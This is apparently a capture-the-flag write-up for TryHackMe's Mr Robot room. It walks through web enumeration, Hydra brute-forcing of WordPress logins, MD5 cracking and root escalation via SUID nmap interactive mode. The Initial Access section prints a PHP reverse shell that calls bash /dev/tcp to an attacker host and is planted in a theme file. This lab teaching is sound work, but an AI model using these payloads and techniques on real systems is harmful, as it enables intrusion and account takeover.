MrRobot Writeup - TryHackMe
Mr Robot is a medium Linux box on TryHackMe themed around the TV show. Three keys are hidden across the machine. The path runs from web enumeration through WordPress credential brute-forcing, a PHP reverse shell via the Theme Editor, MD5 hash cracking to pivot to a second user, and privilege escalation through a SUID nmap binary with interactive mode.
Reconnaissance
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd |_ssl-cert: commonName=www.example.com (expired)
Explain command
| -sC | Run default NSE scripts for service fingerprinting. |
| -sV | Probe open ports for version detection. |
Apache on both 80 and 443 with an expired self-signed cert. Run directory brute-forcing against port 80:
/wp-login.php (Status: 200) /wp-admin (Status: 301) /robots.txt (Status: 200) /license (Status: 200) /readme (Status: 200) /phpmyadmin (Status: 403)
Explain command
| -x php,txt | Append these extensions to each wordlist entry. |
WordPress confirmed via wp-login.php and wp-admin. robots.txt stands out.
Key 1
User-agent: * fsocity.dic key-1-of-3.txt
Two files exposed: a custom wordlist and the first key. Grab both:
$KEY_1
The wordlist has 858,160 lines with massive duplication. Dedup before brute-forcing:
858160 fsocity.dic 11451 fsocity_clean.dic
858k down to 11k. This saves significant time on Hydra runs.
WordPress Credential Brute-Force
WordPress returns different error messages for invalid usernames vs wrong passwords. This makes username enumeration possible before going after the password.
Username enumeration
[80][http-post-form] host: $TARGET_IP login: elliot password: test
Explain command
| -L fsocity_clean.dic | Use the cleaned wordlist as the username list. |
| -p test | Static dummy password for all username attempts. |
Valid username: elliot. The failure string Invalid username disappears when a real username is submitted, which is how Hydra identifies the hit.
Password brute-force
[80][http-post-form] host: $TARGET_IP login: elliot password: $ELLIOT_PASSWORD
Explain command
| -l elliot | Fixed username from the enumeration step. |
| -P fsocity_clean.dic | Use the cleaned wordlist as the password list. |
WordPress credentials obtained. The failure string changed to The password you entered for the username because WordPress now acknowledges the username is valid but the password is wrong.
Initial Access
PHP reverse shell via Theme Editor
Log in at http://$TARGET_IP/wp-login.php with the recovered credentials. Navigate to Appearance, Editor, and select 404.php from the Twenty Fifteen theme (the active theme). Replace the entire file content with a PHP reverse shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"); ?>
Click Update File. Start the listener on the attack machine:
Trigger the shell by requesting the modified 404 page:
Shell received as daemon. Upgrade to an interactive TTY:
Key 2
MD5 hash crack and user pivot
/home/robot/key-2-of-3.txt
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Key 2 is owned by robot and only readable by that user. However password.raw-md5 is world-readable:
robot:$ROBOT_HASH
Raw MD5 hash in username:hash format. Crack it with hashcat or an online service like CrackStation:
$ROBOT_HASH:$ROBOT_PASSWORD Session..........: hashcat Status...........: Cracked
Explain command
| -m 0 | Hash mode 0 for raw MD5. |
Switch to the robot user with the cracked password:
Password: $ROBOT_PASSWORD robot@linux:~$
$KEY_2
Privilege Escalation
SUID nmap interactive mode
Search for SUID binaries:
/usr/local/bin/nmap /usr/bin/passwd /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/chsh /usr/bin/chfn /usr/bin/sudo /bin/ping /bin/su /bin/ping6 /bin/umount /bin/mount
Explain command
| -perm -u=s | Find files with the SUID bit set. |
/usr/local/bin/nmap with SUID is the escalation vector. This is nmap version 3.81, which supports --interactive mode. Because the binary runs as root via SUID, any shell spawned from interactive mode inherits root privileges.
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh # whoami root
$KEY_3
Root obtained. All three keys recovered.
References
-
TryHackMe: Mr RobotWRITEUP: TryHackMe: Mr Robot, tryhackme.com/room/mrrobot (opens in new tab)
Mr Robot CTF room on TryHackMe.
-
nmap SUID and sudo escalation via interactive mode and script execution.
-
Reverse shell payload generator for various languages and listeners.